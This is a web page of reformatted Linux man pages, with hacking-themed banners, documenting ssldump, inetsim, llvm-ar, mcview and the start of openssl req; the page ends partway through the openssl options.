➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ssldump and provides detailed information about the command ssldump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ssldump.

NAME 🖥️ ssldump 🖥️

dump SSL traffic on a network

SYNOPSIS

ssldump [ -aAdeFHjnNPqtTvxXyz ] [ -i interface ]

[ -k keyfile ] [ -l sslkeylogfile ] [ -p password ] [ -r dumpfile ] [ -w outputpcap ]

[ -S [ crypto | d | ht | H | nroff ] ] [ expression ]

DESCRIPTION

ssldump is an SSL/TLS network protocol analyzer. It identifies TCP connections on the chosen network interface and attempts to interpret them as SSL/TLS traffic. When it identifies SSL/TLS traffic, it decodes the records and displays them in a textual form to stdout. If provided with the appropriate keying material, it will also decrypt the connections and display the application data traffic. It supports various version of SSL/TLS up to TLS version 1.3. It also includes support for JSON output or JA3 support.

ssldump has been originally tested on FreeBSD, Linux, Solaris, and HP/UX. ssldump has mainly a new build process and it’s mainly tested on different Linux flavors. Since it’s based on PCAP, it should work on most platforms. However, unlike tcpdump, ssldump needs to be able to see both sides of the data transmission so you may have trouble using it with network taps such as SunOS nit that don’t permit you to see transmitted data. Under SunOS with nit or bpf: To run ssldump you must have read access to /dev/nit or /dev/bpf*. Under Solaris with dlpi: You must have read access to the network pseudo device, e.g. /dev/le. Under HP-UX with dlpi: You must be root or it must be installed setuid to root. Under IRIX with snoop: You must be root or it must be installed setuid to root. Under Linux: You must be root or it must be installed setuid to root. Under Ultrix and Digital UNIX: Once the super-user has enabled promiscuous-mode operation using pfconfig(8), any user may run ssldump Under BSD: You must have read access to /dev/bpf*.

OPTIONS

-a
Print bare TCP ACKs (useful for observing Nagle behavior).

-A
Print all record fields (by default ssldump chooses the most interesting fields).

-d
Display the application data traffic. This usually means decrypting it, but when -d is used ssldump will also decode application data traffic before the SSL session initiates. This allows you to see HTTPS CONNECT behavior as well as SMTP STARTTLS. As a side effect, since ssldump can’t tell whether plaintext is traffic before the initiation of an SSL connection or just a regular TCP connection, this allows you to use ssldump to sniff any TCP connection. ssldump will automatically detect ASCII data and display it directly to the screen. non-ASCII data is displayed as hex dumps. See also -X.

-e
Print absolute timestamps instead of relative timestamps.

-F
Specify the number of packets after which a connection pool cleaning is performed (in packets, default: 100).

-H
Print the full SSL packet header.

-i* interface*
Use interface as the network interface on which to sniff SSL/TLS traffic.

-j
Switch output format to JSON. Only stdout is affected by this toggle.

-k* keyfile*
Use keyfile as the location of the SSL keyfile (OpenSSL format) Previous versions of ssldump automatically looked in ./server.pem. Now you must specify your keyfile every time.

-l* sslkeylogfile*
Use sslkeylogfile as the location of the SSLKEYLOGFILE (https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Key_Log_Format).

-n
Don’t try to resolve host names from IP addresses.

-N
Attempt to parse ASN.1 when it appears, such as in certificates and DNs.

-p* password*
Use password as the SSL keyfile password.

-P
Don’t put the interface into promiscuous mode.

-q
Don’t decode any record fields beyond a single summary line. (quiet mode).

-r* file*
Read data from file instead of from the network. The old -f option still works but is deprecated and will probably be removed with the next version.

-S* [ crypto | d | ht | H ]*
Specify SSL flags to ssldump. These flags include:

crypto
Print cryptographic information.

d
Print fields as decoded.

ht
Print the handshake type.

H
Print handshake type and highlights.

-t
Specify the TTL for inactive connections referenced in the connection pool (in seconds, default: 100).

-T
Print the TCP headers.

-v
Display version and copyright information.

-w* outputpcap*
Use outputpcap as the destination for decrypted packets.

-x
Print each record in hex, as well as decoding it.

-X
When the -d option is used, binary data is automatically printed in two columns with a hex dump on the left and the printable characters on the right. -X suppresses the display of the printable characters, thus making it easier to cut and paste the hex data into some other program.

-y
Decorate the output for processing with nroff/troff. Not very useful for the average user.

-z
Add timestamp in front of TCP packet description (-T)

expression

Selects what packets ssldump will examine. Technically speaking, ssldump supports the full expression syntax from PCAP and tcpdump. In fact, the description here is cribbed from the tcpdump man page. However, since ssldump needs to examine full TCP streams, most of the tcpdump expressions will select traffic mixes that ssldump will simply ignore. Only the expressions which don’t result in incomplete TCP streams are listed here.

The expression consists of one or more primitives. Primitives usually consist of an id (name or number) preceded by one or more qualifiers. There are three different kinds of qualifier:

type
qualifiers say what kind of thing the id name or number refers to. Possible types are host, net and port. E.g., `host foo’, `net 128.3’, `port 20’. If there is no type qualifier, host is assumed.

dir
qualifiers specify a particular transfer direction to and/or from id. Possible directions are src, dst, src or dst and src and dst. E.g., `src foo’, `dst net 128.3’, `src or dst port ftp-data’. If there is no dir qualifier, src or dst is assumed. For `null’ link layers (i.e. point to point protocols such as slip) the inbound and outbound qualifiers can be used to specify a desired direction.

More complex filter expressions are built up by using the words and, or and not to combine primitives. E.g., `host foo and not port ftp and not port ftp-data’. To save typing, identical qualifier lists can be omitted. E.g., `tcp dst port ftp or ftp-data or domain’ is exactly the same as `tcp dst port ftp or tcp dst port ftp-data or tcp dst port domain'.

Allowable primitives are:

dst host host
True if the IPv4/v6 destination field of the packet is host, which may be either an address or a name.

src host host
True if the IPv4/v6 source field of the packet is host.

“host
True if either the IPv4/v6 source or destination of the packet is host**.** Any of the above host expressions can be prepended with the keywords, ip, arp, rarp, or ip6 as in:

ip host host

which is equivalent to:

ether proto \ip and host host

If host is a name with multiple IP addresses, each address will be checked for a match.

“ether
True if the ethernet destination address is ehost**.** Ehost may be either a name from /etc/ethers or a number (see ethers(3N) for numeric format).

“ether
True if the ethernet source address is ehost**.**

“ether
True if either the ethernet source or destination address is ehost**.**

“gateway
True if the packet used host as a gateway. I.e., the ethernet source or destination address was host but neither the IP source nor the IP destination was host**.** Host must be a name and must be found in both /etc/hosts and /etc/ethers. (An equivalent expression is

ether host ehost and not host host

which can be used with either names or numbers for host / ehost.) This syntax does not work in IPv6-enabled configuration at this moment.

dst net net
True if the IPv4/v6 destination address of the packet has a network number of net. Net may be either a name from /etc/networks or a network number (see networks(4) for details).

src net net
True if the IPv4/v6 source address of the packet has a network number of net.

net net
True if either the IPv4/v6 source or destination address of the packet has a network number of net.

net net mask mask
True if the IP address matches net with the specific netmask. May be qualified with src or dst. Note that this syntax is not valid for IPv6 net.

net net/len
True if the IPv4/v6 address matches net a netmask len bits wide. May be qualified with src or dst.

dst port port
True if the packet is ip/tcp, ip/udp, ip6/tcp or ip6/udp and has a destination port value of port. The port can be a number or a name used in /etc/services (see tcp(4P) and udp(4P)). If a name is used, both the port number and protocol are checked. If a number or ambiguous name is used, only the port number is checked (e.g., dst port 513 will print both tcp/login traffic and udp/who traffic, and port domain will print both tcp/domain and udp/domain traffic).

src port port
True if the packet has a source port value of port.

port port
True if either the source or destination port of the packet is port. Any of the above port expressions can be prepended with the keywords, tcp or udp, as in:

tcp src port port

which matches only tcp packets whose source port is port.

Primitives may be combined using:

A parenthesized group of primitives and operators (parentheses are special to the Shell and must be escaped).

Negation (`!’ or `not’).

Concatenation (`&&’ or `and’).

Alternation (`||’ or `or’).

Negation has highest precedence. Alternation and concatenation have equal precedence and associate left to right. Note that explicit and tokens, not juxtaposition, are now required for concatenation.

If an identifier is given without a keyword, the most recent keyword is assumed. For example,

not host vs and ace

is short for

not host vs and host ace

which should not be confused with

not ( host vs or ace )

Expression arguments can be passed to ssldump as either a single argument or as multiple arguments, whichever is more convenient. Generally, if the expression contains Shell metacharacters, it is easier to pass it as a single, quoted argument. Multiple arguments are concatenated with spaces before being parsed.

EXAMPLES

To listen to traffic on interface le0 port 443:

ssldump -i le0 port 443

To listen to traffic to the server romeo on port 443:

ssldump -i le0 port 443 and host romeo:

To switch output format to JSON:

ssldump -ANH -j -i le0 port 443 and host romeo

To decrypt traffic to host romeo server.pem and the password foobar:

ssldump -Ad -k ~/server.pem -p foobar -i le0 host romeo

OUTPUT FORMAT

All output is printed to standard out.

ssldump prints an indication of every new TCP connection using a line like the following

New TCP connection #2: iromeo.rtfm.com(2302) <-> sr1.rtfm.com(4433)

The host which send the first SYN is printed on the left and the host which responded is printed on the right. Ordinarily, this means that the SSL client will be printed on the left with the SSL server on the right. In this case we have a connection from iromeo.rtfm.com (port 2303) to sr1.rtfm.com (port 4433). To allow the user to disentangle traffic from different connections, each connection is numbered. This is connection 2.

The printout of each SSL record begins with a record line. This line contains the connection and record number, a timestamp, and the record type, as in the following:

2 3  0.2001 (0.0749)  S>C  Handshake      Certificate

This is record 3 on connection 2. The first timestamp is the time since the beginning of the connection. The second is the time since the previous record. Both are in seconds.

The next field in the record line is the direction that the record was going. C>S indicates records transmitted from client to server and S>C indicates records transmitted from server to client. ssldump assumes that the host to transmit the first SYN is the SSL client (this is nearly always correct).

The next field is the record type, one of Handshake, IAlert, ChangeCipherSpec, or application_data. Finally, ssldump may print record-specific data on the rest of the line. For Handshake records, it prints the handshake message. Thus, this record is a Certificate message.

ssldump chooses certain record types for further decoding. These are the ones that have proven to be most useful for debugging:

ClientHello - version, offered cipher suites, session id
                     if provided)
ServerHello - version, session_id, chosen cipher suite,
		     compression method
Alert - type and level (if obtainable)

Fuller decoding of the various records can be obtained by using the -A , -d , -k and -p flags.

DECRYPTION

ssldump can decrypt traffic between two hosts if the following two conditions are met:

  1. ssldump has the keys. 2. Static RSA was used.

In any other case, once encryption starts, ssldump will only be able to determine the record type. Consider the following section of a trace.

1 5  0.4129 (0.1983)  C>S  Handshake      ClientKeyExchange
1 6  0.4129 (0.0000)  C>S  ChangeCipherSpec
1 7  0.4129 (0.0000)  C>S  Handshake
1 8  0.5585 (0.1456)  S>C  ChangeCipherSpec
1 9  0.6135 (0.0550)  S>C  Handshake
1 10 2.3121 (1.6986)  C>S  application_data
1 11 2.5336 (0.2214)  C>S  application_data
1 12 2.5545 (0.0209)  S>C  application_data
1 13 2.5592 (0.0046)  S>C  application_data
1 14 2.5592 (0.0000)  S>C  Alert

Note that the ClientKeyExchange message type is printed but the rest of the Handshake messages do not have types. These are the Finished messages, but because they are encrypted ssldump only knows that they are of type Handshake. Similarly, had the Alert in record 14 happened during the handshake, it’s type and level would have been printed. However, since it is encrypted we can only tell that it is an alert.

BUGS

Please send bug reports to https://github.com/adulau/ssldump

The TCP reassembler is not perfect. No attempt is made to reassemble IP fragments and the 3-way handshake and close handshake are imperfectly implemented. In practice, this turns out not to be much of a problem.

Support is provided for only for Ethernet and loopback interfaces because that’s all that I have. If you have another kind of network you will need to modify pcap_cb in base/pcap-snoop.c. If you have direct experience with ssldump on other networks, please send me patches.

ssldump doesn’t implement session caching and therefore can’t decrypt resumed sessions.

SEE ALSO

tcpdump(1)

AUTHOR

ssldump was originally written by Eric Rescorla <[email protected]>. Maintained by a bunch of volunteers, see https://github.com/adulau/ssldump/blob/master/CREDITS - Copyright (C) 2015-2023 the aforementioned volunteers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

24 - Linux cli command inetsim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command inetsim and provides detailed information about the command inetsim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the inetsim.

NAME 🖥️ inetsim 🖥️

INetSim is a suite for simulating common internet services

SYNOPSIS

inetsim [–config <configuration file>] [–version] [–data-dir <data directory>] [–log-dir <log directory>] [–report-dir <report directory>] [–bind-address <ip address>] [–max-childs <maximum child processes>] [–user <user name>] [–faketime-init-delta <initial time delta>] [–faketime-auto-delay <delay time>] [–faketime-auto-incr <stepwidth>] [–session <session name>] [–pidfile <pid file>]

DESCRIPTION

INetSim simulates common internet services like DNS, HTTP, SMTP or POP3.

OPTIONS

–config <configuration file>
The configuration file to use, default is /etc/inetsim/inetsim.conf.

–version
Output version information.

–data-dir <data directory>
The data directory to use, default is /var/lib/inetsim/.

–log-dir <log directory>
The log directory to use, default is /var/log/inetsim/.

–report-dir <report directory>
The report directory to use, default is /var/log/inetsim/report/.

–bind-address <IP address>
The IP address to bind services to.

–max-childs <maximum child processes>
The maximum number of child processes (number of parallel connections) for each service. Default is 10.

–user <username>
User to run services. Default is ‘inetsim’.

–faketime-init-delta <initial time delta>
Initial number of seconds (positive or negative) relative to current date/time for fake time used by all services. This overrides the option ‘faketime-init-delta’ in the configuration file. Default is 0 (use current date/time).

–faketime-auto-delay <delay time>
Number of seconds to wait before incrementing or decrementing fake time by amount of seconds specified with faketime-auto-incr. Setting to ‘0’ disables this option. This overrides the option ‘faketime-auto-delay’ in the configuration file. Default is 0 (disabled).

–faketime-auto-incr <stepwidth>
Number of seconds by which fake time is incremented or decremented at regular intervals specified by faketime_auto_delay. This option only takes effect if faketime-auto-delay is enabled (not set to ‘0’). This overrides the option ‘faketime-auto-incr’ in the configuration file. Default is 3600.

–session <session name>
Session name to use, default is the PID of the parent process.

–pidfile <pid file>
The pid file to use, default is /var/run/inetsim.pid.

EXAMPLES

Start the simulation with session name ‘simtest5’

# inetsim –session simtest5

Start the simulation with a one-day-jump to the future after 60 seconds

# inetsim –faketime-auto-delay 60 –faketime-auto-incr 86400

dito, but with jump to the past

# inetsim –faketime-auto-delay 60 –faketime-auto-incr -86400

REQUIRES

Perl 5, Net::Server, Net::DNS, IO::Socket, IPC::Shareable, Digest::SHA, nfqueue (optional)

AUTHOR

Matthias Eckert <[email protected]>, Thomas Hungenberg <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

25 - Linux cli command llvm-ar-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ar-17 and provides detailed information about the command llvm-ar-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ar-17.

NAME 🖥️ llvm-ar-17 🖥️

ar - LLVM archiver

SYNOPSIS

llvm-ar [-]{dmpqrstx}[abcDilLNoOPsSTuUvV] [relpos] [count] archive [files…]

DESCRIPTION

The llvm-ar command is similar to the common Unix utility, ar. It archives several files, such as objects and LLVM bitcode files into a single archive library that can be linked into a program. However, the archive can contain any kind of file. By default, llvm-ar generates a symbol table that makes linking faster because only the symbol table needs to be consulted, not each individual file member of the archive.

The llvm-ar command can be used to read archive files in SVR4, GNU, BSD , Big Archive, and Darwin format, and write in the GNU, BSD, Big Archive, and Darwin style archive files. If an SVR4 format archive is used with the r (replace), d (delete), m (move) or q (quick update) operations, the archive will be reconstructed in the format defined by –format.

Here’s where llvm-ar departs from previous ar implementations:

The following option is not supported

[f] - truncate inserted filenames

The following options are ignored for compatibility

–plugin=<string> - load a plugin which adds support for other file formats

[l] - ignored in ar

Symbol Table

Since llvm-ar supports bitcode files, the symbol table it creates includes both native and bitcode symbols.

Deterministic Archives

By default, llvm-ar always uses zero for timestamps and UIDs/GIDs to write archives in a deterministic mode. This is equivalent to the D modifier being enabled by default. If you wish to maintain compatibility with other ar implementations, you can pass the U modifier to write actual timestamps and UIDs/GIDs.

Windows Paths

When on Windows llvm-ar treats the names of archived files in the same case sensitive manner as the operating system. When on a non-Windows machine llvm-ar does not consider character case.

OPTIONS

llvm-ar operations are compatible with other ar implementations. However, there are a few modifiers (L) that are not found in other ar implementations. The options for llvm-ar specify a single basic Operation to perform on the archive, a variety of Modifiers for that Operation, the name of the archive file, and an optional list of file names. If the files option is not specified, it generally means either “none” or “all” members, depending on the operation. The Options, Operations and Modifiers are explained in the sections below.

The minimal set of options is at least one operator and the name of the archive.

Operations

d [NT]
Delete files from the archive. The N and T modifiers apply to this operation. The files options specify which members should be removed from the archive. It is not an error if a specified file does not appear in the archive. If no files are specified, the archive is not modified.

m [abi]
Move files from one location in the archive to another. The a, b, and i modifiers apply to this operation. The files will all be moved to the location given by the modifiers. If no modifiers are used, the files will be moved to the end of the archive. If no files are specified, the archive is not modified.

p [v]
Print files to the standard output stream. If no files are specified, the entire archive is printed. With the v modifier, llvm-ar also prints out the name of the file being output. Printing binary files is ill-advised as they might confuse your terminal settings. The p operation never modifies the archive.

q [LT]
Quickly append files to the end of the archive without removing duplicates. If no files are specified, the archive is not modified. The behavior when appending one archive to another depends upon whether the L and T modifiers are used:

  • Appending a regular archive to a regular archive will append the archive file. If the L modifier is specified the members will be appended instead.

  • Appending a regular archive to a thin archive requires the T modifier and will append the archive file. The L modifier is not supported.

  • Appending a thin archive to a regular archive will append the archive file. If the L modifier is specified the members will be appended instead.

  • Appending a thin archive to a thin archive will always quick append its members.

r [abTu]
Replace existing files or insert them at the end of the archive if they do not exist. The a, b, T and u modifiers apply to this operation. If no files are specified, the archive is not modified.

t[v] .. option:: t [vO]

Print the table of contents. Without any modifiers, this operation just prints the names of the members to the standard output stream. With the v modifier, llvm-ar also prints out the file type (B=bitcode, S=symbol table, blank=regular file), the permission mode, the owner and group, are ignored when extracting files and set to placeholder values when adding size, and the date. With the O modifier, display member offsets. If any files are specified, the listing is only for those files. If no files are specified, the table of contents for the whole archive is printed.

V
A synonym for the –version option.

x [oP]
Extract archive members back to files. The o modifier applies to this operation. This operation retrieves the indicated files from the archive and writes them back to the operating system’s file system. If no files are specified, the entire archive is extracted.

Modifiers (operation specific)

The modifiers below are specific to certain operations. See the Operations section to determine which modifiers are applicable to which operations.

a
When inserting or moving member files, this option specifies the destination of the new files as being after the relpos member. If relpos is not found, the files are placed at the end of the archive. relpos cannot be consumed without either a, b or i.

b
When inserting or moving member files, this option specifies the destination of the new files as being before the relpos member. If relpos is not found, the files are placed at the end of the archive. relpos cannot be consumed without either a, b or i. This modifier is identical to the i modifier.

i
A synonym for the b option.

L
When quick appending an archive, instead quick append its members. This is a feature for llvm-ar that is not found in gnu-ar.

N
When extracting or deleting a member that shares its name with another member, the count parameter allows you to supply a positive whole number that selects the instance of the given name, with “1” indicating the first instance. If N is not specified the first member of that name will be selected. If count is not supplied, the operation fails.*count* cannot be

o
When extracting files, use the modification times of any files as they appear in the archive. By default files extracted from the archive use the time of extraction.

O
Display member offsets inside the archive.

T
Alias for –thin. In many ar implementations T has a different meaning, as specified by X/Open System interface.

v
When printing files or the archive table of contents, this modifier instructs llvm-ar to include additional information in the output.

Modifiers (generic)

The modifiers below may be applied to any operation.

c
For the r (replace)and q (quick update) operations, llvm-ar will always create the archive if it doesn’t exist. Normally, llvm-ar will print a warning message indicating that the archive is being created. Using this modifier turns off that warning.

D
Use zero for timestamps and UIDs/GIDs. This is set by default.

P
Use full paths when matching member names rather than just the file name. This can be useful when manipulating an archive generated by another archiver, as some allow paths as member names. This is the default behavior for thin archives.

s
This modifier requests that an archive index (or symbol table) be added to the archive, as if using ranlib. The symbol table will contain all the externally visible functions and global variables defined by all the bitcode files in the archive. By default llvm-ar generates symbol tables in archives. This can also be used as an operation.

S
This modifier is the opposite of the s modifier. It instructs llvm-ar to not build the symbol table. If both s and S are used, the last modifier to occur in the options will prevail.

u
Only update archive members with files that have more recent timestamps.

U
Use actual timestamps and UIDs/GIDs.

Other

–format=<type>
This option allows for default, gnu, darwin or bsd <type> to be selected. When creating an archive, <type> will default to that of the host machine.

-h, –help
Print a summary of command-line options and their meanings.

-M
This option allows for MRI scripts to be read through the standard input stream. No other options are compatible with this option.

–output=<dir>
Specify a directory where archive members should be extracted to. By default the current working directory is used.

–rsp-quoting=<type>
This option selects the quoting style ``<type>`` for response files, either
``posix`` or ``windows``. The default when on Windows is ``windows``, otherwise the
default is ``posix``.

–thin
When creating or modifying an archive, this option specifies that the archive will be thin. By default, archives are not created as thin archives and when modifying a thin archive, it will be converted to a regular archive.

–version
Display the version of the llvm-ar executable.

-X mode
Specifies the type of object file llvm-ar will recognise. The mode must be one of the following:

32
Process only 32-bit object files.

64
Process only 64-bit object files.

32_64
Process both 32-bit and 64-bit object files.

any
Process all object files.

The default is to process 32-bit object files (ignore 64-bit objects). The mode can also be set with the OBJECT_MODE environment variable. For example, OBJECT_MODE=64 causes ar to process any 64-bit objects and ignore 32-bit objects. The -X flag overrides the OBJECT_MODE variable.

@<FILE>
Read command-line options and commands from response file <FILE>.

MRI SCRIPTS

llvm-ar understands a subset of the MRI scripting interface commonly supported by archivers following in the ar tradition. An MRI script contains a sequence of commands to be executed by the archiver. The -M option allows for an MRI script to be passed to llvm-ar through the standard input stream.

Note that llvm-ar has known limitations regarding the use of MRI scripts:

  • Each script can only create one archive.

  • Existing archives can not be modified.

MRI Script Commands

Each command begins with the command’s name and must appear on its own line. Some commands have arguments, which must be separated from the name by whitespace. An MRI script should begin with either a CREATE or CREATETHIN command and will typically end with a SAVE command. Any text after either ‘*’ or ‘;’ is treated as a comment.

CREATE archive
Begin creation of a regular archive with the specified name. Subsequent commands act upon this archive.

CREATETHIN archive
Begin creation of a thin archive with the specified name. Subsequent commands act upon this archive.

ADDLIB archive
Append the contents of archive to the current archive.

ADDMOD <file>
Append <file> to the current archive.

DELETE <file>
Delete the member of the current archive whose file name, excluding directory components, matches <file>.

SAVE
Write the current archive to the path specified in the previous CREATE/CREATETHIN command.

END
Ends the MRI script (optional).

EXIT STATUS

If llvm-ar succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

26 - Linux cli command mcview

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mcview and provides detailed information about the command mcview, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mcview.

NAME 🖥️ mcview 🖥️

Internal file viewer of GNU Midnight Commander.

SYNOPSIS

mcview [-bcCdfhstVx?] file

DESCRIPTION

mcview is a link to mc, the main GNU Midnight Commander executable. Executing GNU Midnight Commander under this name requests staring the internal viewer and opening the file specified on the command line.

OPTIONS

-b
Force black and white display.

-c
Force color mode on terminals where mcview defaults to black and white.

-C <keyword>=<fgcolor>,<bgcolor>,<attributes>:<keyword>= …
Specify a different color set. See the Colors section in mc(1) for more information.

-d
Disable mouse support.

-f
Display the compiled-in search paths for Midnight Commander files.

-t
Used only if the code was compiled with S-Lang and terminfo: it makes Midnight Commander use the value of the TERMCAP variable for the terminal information instead of the information on the system wide terminal database

-V
Displays the version of the program.

-x
Forces xterm mode. Used when running on xterm-capable terminals (two screen modes, and able to send mouse escape sequences).

COLORS

The default colors may be changed by appending to the MC_COLOR_TABLE environment variable. Foreground and background colors pairs may be specified for example with:

MC_COLOR_TABLE="$MC_COLOR_TABLE:\
normal=lightgray,black:\
selected=black,green"

FILES

/usr/share/mc/help/mc.hlp

The help file for the program.

/usr/share/mc/mc.ini

The default system-wide setup for GNU Midnight Commander, used only if the user’s own ~/.config/mc/ini file is missing.

/usr/share/mc/mc.lib

Global settings for Midnight Commander. Settings in this file affect all users, whether they have ~/.config/mc/ini or not.

~/.config/mc/ini

User’s own setup. If this file is present, the setup is loaded from here instead of the system-wide startup file.

LICENSE

This program is distributed under the terms of the GNU General Public License as published by the Free Software Foundation. See the built-in help of Midnight Commander for details on the License and the lack of warranty.

AVAILABILITY

The latest version of this program can be found at http://ftp.midnight-commander.org/.

SEE ALSO

mc(1), mcedit(1)

BUGS

Bugs should be reported to https://www.midnight-commander.org/.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

27 - Linux cli command openssl-reqssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-reqssl and provides detailed information about the command openssl-reqssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-reqssl.

NAME 🖥️ openssl-reqssl 🖥️

req - PKCS#10 certificate request and certificate generating command

SYNOPSIS

openssl req [-help] [-inform DER|PEM] [-outform DER|PEM] [-in filename] [-passin arg] [-out filename] [-passout arg] [-text] [-pubkey] [-noout] [-verify] [-modulus] [-new] [-newkey arg] [-pkeyopt opt:value] [-noenc] [-nodes] [-key filename|uri] [-keyform DER|PEM|P12|ENGINE] [-keyout filename] [-keygen_engine id] [-digest] [-config filename] [-section name] [-x509] [-x509v1] [-CA filename|uri] [-CAkey filename|uri] [-days n] [-set_serial n] [-newhdr] [-copy_extensions arg] [-extensions section] [-reqexts section] [-addext ext] [-precert] [-utf8] [-reqopt] [-subject] [-subj arg] [-multivalue-rdn] [-sigopt nm:v] [-vfyopt nm:v] [-batch] [-verbose] [-quiet] [-nameopt option] [-rand files] [-writerand file] [-engine id] [-provider name] [-provider-path path] [-propquery propq]

DESCRIPTION

This command primarily creates and processes certificate requests (CSRs) in PKCS#10 format. It can additionally create self-signed certificates for use as root CAs for example.

OPTIONS

-help
Print out a usage message.

-inform DER|PEM
The CSR input file format to use; by default PEM is tried first. See openssl-format-options (1) for details.

-outform DER|PEM
The output format; unspecified by default. See openssl-format-options (1) for details. The data is a PKCS#10 object.

-in filename
This specifies the input filename to read a request from. This defaults to standard input unless -x509 or -CA is specified. A request is only read if the creation options (-new or -newkey or -precert) are not specified.

-sigopt nm:v
Pass options to the signature algorithm during sign operations. Names and values of these options are algorithm-specific.

-vfyopt nm:v
Pass options to the signature algorithm during verify operations. Names and values of these options are algorithm-specific.

-passin arg
The password source for private key and certificate input. For more information about the format of arg see openssl-passphrase-options (1).

-passout arg
The password source for the output file. For more information about the format of arg see openssl-passphrase-options (1).

-out filename
This specifies the output filename to write to or standard output by default.

-text
Prints out the certificate request in text form.

-subject
Prints out the certificate request subject (or certificate subject if -x509 is in use).

-pubkey
Prints out the public key.

-noout
This option prevents output of the encoded version of the certificate request.

-modulus
Prints out the value of the modulus of the public key contained in the request.

-verify
Verifies the self-signature on the request.

-new
This option generates a new certificate request. It will prompt the user for the relevant field values. The actual fields prompted for and their maximum and minimum sizes are specified in the configuration file and any requested extensions. If the -key option is not given it will generate a new private key using information specified in the configuration file or given with the -newkey and -pkeyopt options, else by default an RSA key with 2048 bits length.

-newkey arg
